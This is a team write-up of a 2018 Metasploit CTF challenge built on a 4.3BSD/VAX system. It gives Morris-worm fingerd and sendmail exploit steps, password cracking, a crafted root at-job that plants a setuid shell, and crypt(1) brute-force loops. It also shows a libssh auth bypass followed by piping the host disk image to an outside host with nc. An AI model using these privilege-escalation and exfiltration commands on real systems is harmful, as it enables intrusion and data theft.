GirlsTakingOver Metasploit Community CTF 2_of_diamonds Challenge Writeup ######################################## # Introduction: In the 2018 Metasploit Community CTF, the 2_of_diamonds challenge was particularly interesting. Hosting a 4.3BSD/VAX system inside Docker for a CTF was unexpected and creative, and the Cuckoo's Egg theme was spot-on. Several of us worked together to solve it for GirlsTakingOver, and we had a great time bouncing ideas off each other to pop this historic box. We found multiple distinct ways to get to the flag, so we'll lay them all out here. Super thanks to everybody from the team, and especially sen (@sarahemm) and @ranger_cha for spending hours on this one to eventually get the flag. ######################################## # Intended Solution (setuid movemail): Following the plot from The Cuckoo's Egg, it seems this was the intended solution: * Notice that fingerd (linux:tcp/79) is the version vulnerable to a buffer overflow as exploited by the Morris worm * Use exploit/bsd/finger/morris_fingerd_bof in MSF to shell the finger daemon * Notice the system is not using shadowed passwords. * Use john or hashcat to crack hunter's password: msfhack * su to hunter * Find emacs movemail installed setuid root in /usr/guest/hunter/ * Notice /usr/games/lib/2-of-diamonds.dat and /usr/games/adventure are readable only by root * Use movemail to copy /usr/games/lib/2-of-diamonds.dat into /tmp * Use movemail to copy /usr/games/adventure into /tmp * Play adventure. Kill the dragon, drop the flag in the well room, receive the encryption type and password from the wizard. * Decrypt the flag file, copy it off the box with uuencode, submit md5 ######################################## # Alternate Solution (daemon-to-root privesc): * Notice that sendmail (tcp/25) is the version exploited by the Morris worm * use exploit/unix/smtp/morris_sendmail_debug to shell the mail server * Notice that sendmail is running as daemon * Notice that daemon owns /usr/spool/atqueue * Submit an at job as daemon using "at now" and inspect the resulting file in /usr/spool/at to learn the format * Craft a root atjob, like this: echo '# owner: root' >> /usr/spool/at/86.342.1940.01 echo '# jobname: stdin' >> /usr/spool/at/86.342.1940.01 echo '# shell: sh' >> /usr/spool/at/86.342.1940.01 echo '# notify by mail: no' >> /usr/spool/at/86.342.1940.01 echo '' >> /usr/spool/at/86.342.1940.01 echo 'umask 0' >> /usr/spool/at/86.342.1940.01 echo 'cd /tmp' >> /usr/spool/at/86.342.1940.01 echo 'HOME='/'' >> /usr/spool/at/86.342.1940.01 echo 'export HOME' >> /usr/spool/at/86.342.1940.01 echo 'PATH='/bin:/usr/bin:/usr/ucb:/etc'' >> /usr/spool/at/86.342.1940.01 echo 'export PATH' >> /usr/spool/at/86.342.1940.01 echo '/bin/sh << '\''...the rest of this file is shell input'\' >> /usr/spool/at/86.342.1940.01 echo 'cp /bin/sh /tmp/rootshell' >> /usr/spool/at/86.342.1940.01 echo 'chmod 4755 /tmp/rootshell' >> /usr/spool/at/86.342.1940.01 chmod 400 /usr/spool/at/86.342.1940.01 * Wait for at job to run * Become root by executing /tmp/rootshell * Guess that /usr/games/lib/2-of-diamonds.dat is encrypted with crypt(1) * Copy 2-of-diamonds.dat off the VAX using uuencode and screen logging * Write a crypt(1) brute force program, wait for it to run ** Remember to minimize buffering and forking! ** Working Example: dd if=2-of-diamonds.dat of=head-of-diamonds.dat count=1; cat /usr/share/wordlists/rockyou.txt | while read password; do mcrypt -a enigma -o scrypt -m stream --bare --key $password --force < head-of-diamonds.dat 2>/dev/null | grep PNG > /dev/null; if [ $? -eq 0 ]; then echo "$password"; fi; done ** Explaination: grab only the first 512 byte block of the file to improve performance and reduce false positives. Loop over the contents of the famous RockYou password list, attempting to decrypt the ciphertext. If the plaintext contains the string "PNG", print out the password candidate. This works because we can assume the flag is a PNG file, and PNG files contain the string "PNG" in a header at the beginning. Check out https://en.wikipedia.org/wiki/Portable_Network_Graphics for more info. * Learn that the password is wyvern, decrypt file, submit md5, collect points ######################################## # Sector-scraping Bonus Solution (king_of_diamonds): * Notice that sshd (linux:tcp/2222) is a version vulnerable to CVE-2018-10993 * Use auxilary/scanner/ssh/libssh_auth_bypass in MSF to shell the container (!! as root) * Note that /dev/ seems to be the host's /dev (!!) * Remotely image the host by reading /dev/xvda Example sender: dd if=/dev/xvda bs=1024k | gzip | nc your-host 31337 Example receiver: nc -l -p 31337 | gunzip -c | dd of=linux.raw We use dd to let us check progress: kill -USR1 * Use photorec to search the unallocated space on the filesystem for PNG files * Recover the flag files for the following flags: ** king_of_diamonds ** 10_of_hearts ** 3_of_diamonds ** 9_of_hearts ** 6_of_hearts ** 8_of_diamonds ** ace_of_hearts ** 3_of_clubs ** 5_of_spades ** 2_of_diamonds ######################################## # Notes and TODOs # File copying with uuencode: To conveniently copy files from the VAX back to the work box, we used the following method: * run MSF inside screen * shell the server * set the session log file by pressing ^a then typing ":logfile whatever.uu" * on the vax, type cat your-file | uuencode your-file (but don't press enter) * enable session logging by pressing ^a then typing ":log on" * press enter to run uuencode The output appears on your screen and in the log file * disable session logging by pressing ^a then typing ":log off" * decode the file with "uudecode whatever.uu" # Brute force oneliner: During the contest, I wrote the following terrible oneliner to brute force the password. In this loop, sometimes the crypt command stalls for a long time waiting on read(). Maybe there's some buffering issue due to the long pipeline? Anyway, it was too slow to be of practical use: cat /usr/share/wordlists/rockyou.txt | while read password; do cat 2-of-diamonds.dat | crypt $password 2>/dev/null | strings -3 | head -1 | grep PNG > /dev/null; if [ $? -eq 0 ]; then echo "$password"; break ;fi; done After the contest was over, I improved this into the loop presented above, which finds the password in about 2 minutes on our machine. # optimized brute force tool for crypt(1) We think we could brute force crypt(1) dramatically faster with a proper tool that doesn't fork for each candidate, but we have not yet written such a tool. ######################################## # Story Time! GirlsTakingOver worked on this challenge off-and-on for most of the weekend. We got right to work on Friday afternoon, enumerating the target hosts. @ranger_cha took the lead on 2-of-diamonds, pretty quickly got a shell from sendmail, and began rooting around the VAX looking for the next step. There were only a few files and directories that were not world-readable, including the flag file, adventure binary, and hunter's homedir. john quickly chewed through a wordlist and got most of the account passwords, but not hunter. I started up john in brute-force mode. We worked on other things until we all went to sleep. Saturday morning, we discovered that john had gotten hunter's password, and we went to work using movemail to get root by overwriting /etc/atrun. Sen did some minor massaging on a simple C reverse shell to get it to compile on 4.3BSD which gave us more convenient access to the VAX. We never got atrun overwritten with movemail (it's awkward), but since sendmail was running as the owner of the at queue directory, we didn't need to use movemail anyway. We just wrote a normal at job file for the root user into the atqueue. With root on the VAX, we copied the dat file off, and started analyzing it and the adventure binary to try to get the flag. We guessed early that it was encrypted with crypt(1), but did not make quick progress and continued to investigate other ideas. When we got back together Saturday evening, several of us worked together on the file format. We had a lot of fun and learned a lot, but did not get the flag. I started up a bad brute-force loop in the hope that it was crypt(1), but lost hope when half an hour had passed without a solution. We mostly moved on to other things, but still wanted this flag! Sunday afternoon, sen came back to this and started playing adventure. Using a walkthrough and guessing the flag would probably be in the secret dragon room, ze got the password and confirmation of crypt(1) usage. Decrypt file, calculate and submit md5, collect points, high-fives all around.